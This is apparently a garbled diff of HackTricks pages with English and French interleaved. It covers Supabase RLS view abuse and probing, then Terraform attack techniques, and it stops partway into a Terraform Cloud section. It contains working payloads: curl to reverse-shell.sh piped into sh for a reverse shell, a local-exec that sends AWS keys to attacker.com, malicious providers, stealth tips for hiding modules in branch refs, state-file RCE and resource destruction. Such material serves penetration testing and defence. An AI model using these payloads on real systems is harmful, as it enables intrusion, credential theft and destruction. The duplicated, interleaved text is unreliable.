-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
Checklist de durcissement pour les vues et RLS :
|
||||
- Privilégiez l'exposition des tables de base avec des autorisations explicites au moindre privilège et des politiques RLS précises.
|
||||
- Si vous devez exposer une vue :
|
||||
- Rendez-la non modifiable (par ex., inclure des expressions/jointures) ou refusez `INSERT/UPDATE/DELETE` sur la vue pour tous les rôles non fiables.
|
||||
- Appliquez `ALTER VIEW <v> SET (security_invoker = on)` pour que les privilèges de l'invocateur soient utilisés au lieu de ceux du propriétaire.
|
||||
- Sur les tables de base, utilisez `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` afin que même les propriétaires soient soumis au RLS.
|
||||
- Si vous autorisez des écritures via une vue modifiable, ajoutez `WITH [LOCAL|CASCADED] CHECK OPTION` et des RLS complémentaires sur les tables de base pour garantir que seules les lignes autorisées peuvent être écrites/modifiées.
|
||||
- Dans Supabase, évitez d'accorder à `anon`/`authenticated` des privilèges d'écriture sur les vues sauf si vous avez vérifié le comportement end-to-end avec des tests.
|
||||
|
||||
Detection tip:
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
- Depuis un user de test `anon` et `authenticated`, tentez toutes les opérations CRUD sur chaque table/vue exposée. Toute écriture réussie alors que vous attendiez un refus indique une mauvaise configuration.
|
||||
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
### Sondage CRUD piloté par OpenAPI depuis les rôles anon/auth
|
||||
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
||||
Fetch the OpenAPI (works with the public anon key):
|
||||
PostgREST expose un document OpenAPI que vous pouvez utiliser pour énumérer toutes les ressources REST, puis sonder automatiquement les opérations autorisées depuis des rôles peu privilégiés.
|
||||
|
||||
Récupérez l'OpenAPI (fonctionne avec la clé publique anon) :
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
|
||||
Probe pattern (examples):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
Modèle de sonde (exemples):
|
||||
- Lire une seule ligne (s'attendre à 401/403/200 selon RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
- Tester que UPDATE est bloqué (utilisez un filtre inexistant pour éviter d'altérer les données pendant les tests) :
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- Test INSERT is blocked:
|
||||
- Vérifier si INSERT est bloqué :
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- Test DELETE is blocked:
|
||||
- Vérifier que DELETE est bloqué:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
Recommandations:
|
||||
- Automatisez les tests précédents pour `anon` et pour un utilisateur `authenticated` minimal, et intégrez-les dans la CI pour détecter les régressions.
|
||||
- Traitez chaque table/vue/fonction exposée comme une surface de premier ordre. Ne supposez pas qu'une vue “hérite” de la même posture RLS que ses tables de base.
|
||||
|
||||
Recommendations:
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
### Mots de passe & sessions
|
||||
|
||||
### Passwords & sessions
|
||||
Il est possible d'indiquer la longueur minimale du mot de passe (par défaut), les exigences (aucune par défaut) et d'interdire l'utilisation de leaked passwords.\
|
||||
Il est recommandé d'**améliorer les exigences car celles par défaut sont faibles**.
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
- Sessions utilisateur : Il est possible de configurer le fonctionnement des sessions (timeouts, 1 session par utilisateur...)
|
||||
- Protection contre les bots et les abus : Il est possible d'activer Captcha.
|
||||
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
### Paramètres SMTP
|
||||
|
||||
### SMTP Settings
|
||||
Il est possible de configurer un serveur SMTP pour envoyer des e-mails.
|
||||
|
||||
It's possible to set an SMTP to send emails.
|
||||
### Paramètres avancés
|
||||
|
||||
### Advanced Settings
|
||||
- Définir le temps d'expiration des access tokens (3600 par défaut)
|
||||
- Activer la détection et la révocation des refresh tokens potentiellement compromis ainsi que le timeout
|
||||
- MFA : Indiquer combien de facteurs MFA peuvent être enregistrés simultanément par utilisateur (10 par défaut)
|
||||
- Max Direct Database Connections : Nombre maximal de connexions utilisées pour l'auth (10 par défaut)
|
||||
- Max Request Duration : Durée maximale autorisée pour une requête Auth (10s par défaut)
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
|
||||
## Storage
|
||||
## Stockage
|
||||
|
||||
> [!TIP]
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
> Supabase permet **de stocker des fichiers** et de les rendre accessibles via une URL (il utilise S3 buckets).
|
||||
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- Définir la taille maximale d'upload (par défaut 50MB)
|
||||
- La connexion S3 est fournie avec une URL comme : `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- Il est possible de **demander des S3 access key** qui sont composées d'un `access key ID` (ex. `a37d96544d82ba90057e0e06131d0a7b`) et d'un `secret access key` (ex. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
Il est aussi possible de **stocker des secrets** dans supabase qui seront **accessibles by edge functions** (ils peuvent être créés et supprimés depuis le web, mais il n'est pas possible d'accéder directement à leur valeur).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,308 +1,276 @@
|
||||
# Terraform Security
|
||||
# Sécurité Terraform
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
HashiCorp Terraform est un **outil d'infrastructure as code** qui vous permet de définir à la fois des **ressources cloud et on-prem** dans des fichiers de configuration lisibles par des humains que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un workflow cohérent pour provisionner et gérer l'ensemble de votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants bas niveau comme le compute, le storage et les ressources réseau, ainsi que des composants haut niveau comme les entrées DNS et des fonctionnalités SaaS.
|
||||
|
||||
#### How does Terraform work?
|
||||
#### Comment fonctionne Terraform ?
|
||||
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs APIs. Les providers permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
HashiCorp et la communauté Terraform ont déjà écrit **plus de 1700 providers** pour gérer des milliers de types de ressources et de services différents, et ce nombre ne cesse de croître. Vous pouvez trouver tous les providers disponibles publiquement sur le [Terraform Registry](https://registry.terraform.io/), y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres.
|
||||
|
||||
The core Terraform workflow consists of three stages:
|
||||
Le workflow principal de Terraform se compose de trois étapes :
|
||||
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
- **Write:** Vous définissez des ressources, qui peuvent s'étendre sur plusieurs cloud providers et services. Par exemple, vous pouvez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau Virtual Private Cloud (VPC) avec des security groups et un load balancer.
|
||||
- **Plan:** Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration.
|
||||
- **Apply:** Après approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances entre ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et changez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Laboratoire Terraform
|
||||
|
||||
Just install terraform in your computer.
|
||||
Il suffit d'installer terraform sur votre ordinateur.
|
||||
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
Vous trouverez ici un [guide] et ici le [best way to download terraform].
|
||||
|
||||
## RCE in Terraform: config file poisoning
|
||||
## RCE in Terraform : empoisonnement de fichier de configuration
|
||||
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
Terraform **n'expose pas de plateforme avec une page web ou un service réseau** que nous pouvons énumérer, par conséquent, la seule façon de compromettre terraform est **d'être capable d'ajouter/modifier les fichiers de configuration terraform** ou **d'être capable de modifier le fichier d'état terraform** (voir chapitre ci-dessous).
|
||||
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
Cependant, terraform est un **composant très sensible** à compromettre car il aura des **accès privilégiés** à différents emplacements pour pouvoir fonctionner correctement.
|
||||
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
La principale manière pour un attaquant de compromettre le système où terraform tourne est de **compromettre le repository qui stocke les configurations terraform**, parce qu'à un moment elles vont être **interprétées**.
|
||||
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
En fait, il existe des solutions qui **exécutent terraform plan/apply automatiquement après la création d'une PR**, comme **Atlantis** :
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons d'effectuer une RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
Terraform plan est la **commande la plus utilisée** dans terraform et les développeurs/solutions utilisant terraform l'appellent tout le temps, donc la **manière la plus simple d'obtenir une RCE** est de vous assurer d'empoisonner un fichier de configuration terraform qui exécutera des commandes arbitraires lors d'un `terraform plan`.
|
||||
|
||||
**Using an external provider**
|
||||
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui offre un moyen d'interfacer Terraform avec des programmes externes. Vous pouvez utiliser la data source `external` pour exécuter du code arbitraire pendant un `plan`.
|
||||
|
||||
Injecter dans un fichier de configuration terraform quelque chose de similaire à ce qui suit exécutera une rev shell lors de l'exécution de `terraform plan` :
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Utilisation d'un custom provider**
|
||||
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
Un attaquant pourrait soumettre un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) puis l'ajouter au code Terraform dans une branche de fonctionnalité ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
Le provider est téléchargé lors de `init` et exécutera le code malveillant lorsque `plan` sera exécuté
|
||||
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Using an external reference**
|
||||
**Utiliser une référence externe**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
Les deux options mentionnées sont utiles mais pas très discrètes (la deuxième est plus discrète mais plus complexe que la première). Vous pouvez réaliser cette attaque de manière encore plus **discrète**, en suivant ces suggestions :
|
||||
|
||||
- Au lieu d'ajouter la rev shell directement dans le terraform file, vous pouvez **charger une ressource externe** qui contient la rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Vous pouvez trouver le rev shell code dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **terraform rev shell code dans une branche** du repo, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Terraform apply sera exécuté pour appliquer tous les changements, vous pouvez aussi l'abuser pour obtenir une RCE en injectant **un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Il suffit de vous assurer qu'un payload comme les exemples suivants se termine dans le fichier `main.tf` :
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Suivez les **suggestions de la technique précédente** pour réaliser cette attaque de manière **plus discrète en utilisant des références externes**.
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
## Extraction de secrets
|
||||
|
||||
Vous pouvez obtenir **l'extraction des valeurs secrètes utilisées par terraform** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Abuser des fichiers d'état Terraform
|
||||
|
||||
## Abusing Terraform State Files
|
||||
Dans le cas où vous avez un accès en écriture aux fichiers d'état Terraform mais ne pouvez pas modifier le code Terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) donne des options intéressantes pour tirer parti du fichier. Même si vous aviez un accès en écriture aux fichiers de configuration, utiliser le vecteur des fichiers d'état est souvent bien plus discret, puisque vous ne laissez pas de traces dans l'historique `git`.
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
|
||||
### RCE in Terraform: empoisonnement des fichiers de configuration
|
||||
|
||||
### RCE in Terraform: config file poisoning
|
||||
Il est possible de [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et simplement remplacer l'un des providers dans le terraform state file par un provider malveillant ou ajouter un fake resource référencant le provider malveillant.
|
||||
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
Le provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) s'appuie sur cette recherche et exploite ce principe. Vous pouvez ajouter une fake resource et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut `command`. Lorsque l'exécution de `terraform` est déclenchée, cela sera lu et exécuté à la fois lors des étapes `terraform plan` et `terraform apply`. Dans le cas de l'étape `terraform apply`, `terraform` supprimera la fake resource du state file après avoir exécuté votre commande, nettoyant ainsi ses traces. Plus d'informations et une démonstration complète sont disponibles dans le [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Pour l'utiliser directement, incluez simplement ce qui suit à n'importe quelle position du tableau `resources` et personnalisez les attributs `name` et `command` :
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Ensuite, dès que `terraform` est exécuté, votre code s'exécutera.
|
||||
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
### Suppression des ressources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Il existe 2 façons de détruire des ressources :
|
||||
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
1. **Insérer une ressource avec un nom aléatoire dans le fichier d'état pointant vers la vraie ressource à détruire**
|
||||
|
||||
Parce que terraform verra que la ressource ne devrait pas exister, il la détruira (en suivant l'ID réel de la ressource indiqué). Exemple de la page précédente :
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Modifier la ressource de façon à ce qu'il soit impossible de la mettre à jour (elle sera donc supprimée puis recréée)**
|
||||
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
Pour une instance EC2, modifier le type de l'instance suffit pour que terraform la supprime puis la recrée.
|
||||
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
### Remplacer un provider mis sur liste noire
|
||||
|
||||
Si vous rencontrez une situation où `hashicorp/external` a été mis sur liste noire, vous pouvez réimplémenter le provider `external` en procédant comme suit. Remarque : nous utilisons un fork du provider external publié sur https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez publier votre propre fork ou réimplémentation également.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
Ensuite, vous pouvez utiliser `external` comme d'habitude.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
|
||||
Ce scénario abuse les runners Terraform Cloud (TFC) pendant les speculative plans pour pivoter dans le compte cloud cible.
|
||||
|
||||
- Preconditions:
|
||||
